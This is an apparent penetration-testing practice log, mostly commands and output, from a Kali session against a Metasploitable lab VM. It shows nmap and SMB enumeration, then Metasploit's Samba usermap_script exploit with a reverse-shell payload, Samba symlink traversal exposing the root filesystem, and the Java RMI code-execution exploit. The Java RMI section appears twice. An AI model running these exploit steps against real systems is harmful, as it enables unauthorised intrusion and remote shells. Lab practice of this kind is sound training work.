```
─(kali㉿kali)-[~]
└─$ sudo nmap --system-dn -sU 192.168.122.179
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-13 16:02 EAT
Nmap scan report for 192.168.122.179
Host is up (0.00088s latency).
Not shown: 993 closed udp ports (port-unreach)
PORT     STATE         SERVICE
53/udp   open          domain
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
111/udp  open          rpcbind
137/udp  open          netbios-ns
138/udp  open|filtered netbios-dgm
2049/udp open          nfs
MAC Address: 52:54:00:8E:90:7C (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1029.34 seconds


┌──(kali㉿kali)-[~]
└─$
─(kali㉿kali)-[~]
└─$ smbclient -L //192.168.122.179
^[[DPassword for [KALI\kali]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            METASPLOITABLE

┌──(kali㉿kali)-[~]
└─$

msf6 auxiliary(scanner/ssh/ssh_login) > search multi/samba/usermap_script
```

Matching Modules
================

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/samba/usermap_script	2007-05-14	excellent	No	Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

```
msf6 auxiliary(scanner/ssh/ssh_login) > use 0
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.122.179
RHOSTS => 192.168.122.179
msf6 exploit(multi/samba/usermap_script) > options
```

Module options (exploit/multi/samba/usermap_script):

Name	Current Setting	Required	Description
RHOSTS	192.168.122.179	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	139	yes	The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name	Current Setting	Required	Description
LHOST	127.0.0.1	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic

View the full module info with the info, or info -d command.

```
msf6 exploit(multi/samba/usermap_script) > run
```

```
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want
ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
msf6 exploit(multi/samba/usermap_script) > use auxiliary/admin/smb/samba_symlink_traversal
msf6 auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp
SMBSHARE => tmp
msf6 auxiliary(admin/smb/samba_symlink_traversal) > set RHOSTS 192.168.122.179
RHOSTS => 192.168.122.179
msf6 auxiliary(admin/smb/samba_symlink_traversal) > exploit
[*] Running module against 192.168.122.179

[*] 192.168.122.179:445 - Connecting to the server...
[*] 192.168.122.179:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.122.179:445 - Trying to link 'rootfs' to the root filesystem...
[*] 192.168.122.179:445 - Now access the following share to browse the root filesystem:
[*] 192.168.122.179:445 -     \\192.168.122.179\tmp\rootfs\

[*] Auxiliary module execution completed
┌──(kali㉿kali)-[~]
└─$ sudo msfconsole
[sudo] password for kali:
Metasploit tip: You can pivot connections over sessions started with the
ssh_login modules


       .                                .
 .

     dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                    o
      '   dB'                 BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                          dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
        .                .               dB' dBP    dB'.BP
                         |      dBP    dBBBB' dBP    dB'.BP dBP    dBP
                        --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                         |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP


                                                .
          .
       o                To boldly go where no
                        shell has gone before


      =[ metasploit v6.3.46-dev                          ]
```

```
+ -- --=[ 2378 exploits - 1233 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops          ]
+ -- --=[ 9 evasion                                      ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search exploit/multi/samba/usermap

Matching Modules
================

   #  Name                              Disclosure Date  Rank       Check  Description
   -  ----                              ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map
script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use
exploit/multi/samba/usermap_script

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:ho
                                       st:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit
                                       .com/docs/using-metasploit/basics/using-metaspl
                                       oit.html
   RPORT    139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified
                                     )
   LPORT  4444             yes       The listen port


Exploit target:
```

```
  Id  Name
  --  ----
  0   Automatic
```

View the full module info with the info, or info -d command.

```
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.122.179
RHOSTS => 192.168.122.179
msf6 exploit(multi/samba/usermap_script) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want
ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
```

```
msf6 exploit(multi/samba/usermap_script) > search exploit/multi/misc/java_rmi

Matching Modules
================

  #  Name                          Disclosure Date  Rank       Check  Description
  -  ----                          ---------------  ----       -----  -----------
  0  exploit/multi/misc/java_rmi_server  2011-10-15       excellent  Yes    Java RMI Server Insecure
Default Configuration Java Code Execution
```

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/misc/java_rmi_server

```
msf6 exploit(multi/samba/usermap_script) > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > info

       Name: Java RMI Server Insecure Default Configuration Java Code Execution
     Module: exploit/multi/misc/java_rmi_server
   Platform: Java, Linux, OSX, Solaris, Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-15

Provided by:
  mihi

Available targets:
```

```
   Id  Name
   --  ----
=> 0   Generic (Java Payload)
   1   Windows x86 (Native Payload)
   2   Linux x86 (Native Payload)
   3   Mac OS X PPC (Native Payload)
   4   Mac OS X x86 (Native Payload)

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the pa
                                        yload request
  RHOSTS                      yes       The target host(s), see https://docs.metasploi
                                        t.com/docs/using-metasploit/basics/using-metas
                                        ploit.html
  RPORT      1099             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen
                                        on. This must be an address on the local machi
                                        ne or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert                     no        Path to a custom SSL certificate (default is r
                                        andomly generated)
  URIPATH                     no        The URI to use for this exploit (default is ra
                                        ndom)

Payload information:
  Avoid: 0 characters

Description:
  This module takes advantage of the default configuration of the RMI Registry and
  RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
  invokes a method in the RMI Distributed Garbage Collector which is available via every
  RMI endpoint, it can be used against both rmiregistry and rmid,  and against most other
  (custom) RMI endpoints as well.

    Note that it does not work against Java Management Extension (JMX) ports since those do
  not support remote class loading, unless another RMI endpoint is active in the same
  Java process.

    RMI method calls do not support or require any sort of authentication.

References:
  http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
  http://www.securitytracker.com/id?1026215
```

https://nvd.nist.gov/vuln/detail/CVE-2011-3556

View the full module info with the info -d command.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.122.179
RHOSTS => 192.168.122.179
msf6 exploit(multi/misc/java_rmi_server) > OPTIONS
[-] Unknown command: OPTIONS
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the p
                                         ayload request
   RHOSTS     192.168.122.179  yes       The target host(s), see https://docs.metasplo
                                         it.com/docs/using-metasploit/basics/using-met
                                         asploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen
                                         on. This must be an address on the local mac
                                         hine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is
                                         randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is r
                                         andom)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified
                                     )
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)
```

View the full module info with the info, or info -d command.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want
ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] 192.168.122.179:1099 - Using URL: http://127.0.0.1:8080/HInz4HvBQWZ
[*] 192.168.122.179:1099 - Server started.
[*] 192.168.122.179:1099 - Sending RMI Header...
[*] 192.168.122.179:1099 - Sending RMI Call...
[-] 192.168.122.179:1099 - Exploit failed: RuntimeError Exploit aborted due to failure unknown The
RMI class loader couldn't find the payload
[*] 192.168.122.179:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) >


msf6 exploit(multi/samba/usermap_script) > search exploit/multi/misc/java_rmi

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/multi/misc/java_rmi_server  2011-10-15       excellent  Yes    Java RMI Server Insecure
Default Configuration Java Code Execution


Interact with a module by name or index. For example info 0, use 0 or use
exploit/multi/misc/java_rmi_server

msf6 exploit(multi/samba/usermap_script) > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > info

       Name: Java RMI Server Insecure Default Configuration Java Code Execution
     Module: exploit/multi/misc/java_rmi_server
   Platform: Java, Linux, OSX, Solaris, Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-15

Provided by:
  mihi

Available targets:
```

```
   Id  Name
   --  ----
=> 0   Generic (Java Payload)
   1   Windows x86 (Native Payload)
   2   Linux x86 (Native Payload)
   3   Mac OS X PPC (Native Payload)
   4   Mac OS X x86 (Native Payload)

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the pa
                                        yload request
  RHOSTS                      yes       The target host(s), see https://docs.metasploi
                                        t.com/docs/using-metasploit/basics/using-metas
                                        ploit.html
  RPORT      1099             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen
                                        on. This must be an address on the local machi
                                        ne or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert                     no        Path to a custom SSL certificate (default is r
                                        andomly generated)
  URIPATH                     no        The URI to use for this exploit (default is ra
                                        ndom)

Payload information:
  Avoid: 0 characters

Description:
  This module takes advantage of the default configuration of the RMI Registry and
  RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
  invokes a method in the RMI Distributed Garbage Collector which is available via every
  RMI endpoint, it can be used against both rmiregistry and rmid,  and against most other
  (custom) RMI endpoints as well.

    Note that it does not work against Java Management Extension (JMX) ports since those do
  not support remote class loading, unless another RMI endpoint is active in the same
  Java process.

    RMI method calls do not support or require any sort of authentication.

References:
  http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
  http://www.securitytracker.com/id?1026215
```

https://nvd.nist.gov/vuln/detail/CVE-2011-3556

View the full module info with the info -d command.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.122.179
RHOSTS => 192.168.122.179
msf6 exploit(multi/misc/java_rmi_server) > OPTIONS
[-] Unknown command: OPTIONS
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the p
                                         ayload request
   RHOSTS     192.168.122.179  yes       The target host(s), see https://docs.metasplo
                                         it.com/docs/using-metasploit/basics/using-met
                                         asploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen
                                         on. This must be an address on the local mac
                                         hine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is
                                         randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is r
                                         andom)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified
                                     )
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)
```

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] 192.168.122.179:1099 - Using URL: http://127.0.0.1:8080/HInz4HvBQWZ
[*] 192.168.122.179:1099 - Server started.
[*] 192.168.122.179:1099 - Sending RMI Header...
[*] 192.168.122.179:1099 - Sending RMI Call...
[-] 192.168.122.179:1099 - Exploit failed: RuntimeError Exploit aborted due to failure unknown The RMI class loader couldn't find the payload
[*] 192.168.122.179:1099 - Server stopped.
[*] Exploit completed, but no session was created.